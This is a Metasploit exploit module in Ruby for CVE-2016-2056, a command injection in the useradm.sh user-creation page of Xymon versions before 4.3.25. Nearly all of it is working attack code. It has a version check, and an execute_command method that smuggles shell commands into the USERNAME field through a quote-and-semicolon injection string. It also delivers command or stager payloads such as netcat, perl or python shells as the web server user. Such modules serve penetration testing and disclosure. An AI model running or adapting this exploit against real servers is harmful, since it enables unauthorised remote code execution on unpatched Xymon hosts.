Xymon useradm Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xymon useradm Command Execution',  
'Description' => %q{  
This module exploits a command injection vulnerability in Xymon  
versions before 4.3.25 which allows authenticated users  
to execute arbitrary operating system commands as the web  
server user.  
  
When adding a new user to the system via the web interface with  
`useradm.sh`, the user's username and password are passed to  
`htpasswd` in a call to `system()` without validation.  
  
This module has been tested successfully on Xymon version 4.3.10  
on Debian 6.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Markus Krell', # Discovery  
'bcoles' # Metasploit  
],  
'References' =>  
[  
['CVE', '2016-2056'],  
['PACKETSTORM', '135758'],  
['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],  
['URL', 'https://www.securityfocus.com/archive/1/537522/100/0/threaded'],  
['URL', 'https://sourceforge.net/p/xymon/code/7892/'],  
['URL', 'https://www.debian.org/security/2016/dsa-3495']  
],  
'DisclosureDate' => '2016-02-14',  
'Platform' => %w(unix linux solaris bsd),  
'Targets' =>  
[  
[  
'Unix CMD',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' => {  
'Space' => 2048,  
'BadChars' => "\x00\x0A\x0D",  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl python netcat php'  
}  
}  
}  
],  
[  
'Linux',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86,ARCH_X64],  
}  
],  
[  
'Solaris',  
{  
'Platform' => 'solaris',  
'Arch' => [ARCH_X86]  
}  
],  
[  
'BSD',  
{  
'Platform' => 'bsd',  
'Arch' => [ARCH_X86, ARCH_X64]  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
register_options([  
OptString.new('TARGETURI', [  
true, 'The base path to Xymon secure CGI directory', '/xymon-seccgi/'  
]),  
OptString.new('USERNAME', [true, 'The username for Xymon']),  
OptString.new('PASSWORD', [true, 'The password for Xymon'])  
])  
end  
  
def user  
datastore['USERNAME']  
end  
  
def pass  
datastore['PASSWORD']  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'useradm.sh'),  
'authorization' => basic_auth(user, pass)  
})  
  
unless res  
vprint_status "#{peer} - Connection failed"  
return CheckCode::Unknown  
end  
  
if res.code == 401  
vprint_status "#{peer} - Authentication failed"  
return CheckCode::Unknown  
end  
  
if res.code == 404  
vprint_status "#{peer} - useradm.sh not found"  
return CheckCode::Safe  
end  
  
unless res.body.include?('Xymon')  
vprint_status "#{peer} - Target is not a Xymon server."  
return CheckCode::Safe  
end  
  
version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first  
  
unless version  
vprint_status "#{peer} - Could not determine Xymon version"  
return CheckCode::Detected  
end  
  
vprint_status "#{peer} - Xymon version #{version}"  
  
if Gem::Version.new(version) >= Gem::Version.new('4.3.25')  
return CheckCode::Safe  
end  
  
CheckCode::Appears  
end  
  
def execute_command(cmd, opts = {})  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'useradm.sh'),  
'method' => 'POST',  
'authorization' => basic_auth(user, pass),  
'vars_post' => Hash[{  
'USERNAME' => "';#{cmd} & echo '",  
'PASSWORD' => '',  
'SendCreate' => 'Create'  
}.to_a.shuffle]  
}, 5)  
  
return if session_created?  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
  
if res.code == 401  
fail_with(Failure::NoAccess, 'Authentication failed')  
end  
  
unless res.code == 500  
fail_with(Failure::Unknown, 'Unexpected reply')  
end  
  
print_good "#{peer} - Payload sent successfully"  
  
res  
end  
  
def exploit  
unless [Exploit::CheckCode::Detected, Exploit::CheckCode::Appears].include?(check)  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
if payload.arch.first == 'cmd'  
execute_command(payload.encoded)  
else  
execute_cmdstager(linemax: 1_500)  
end  
end  
end  
`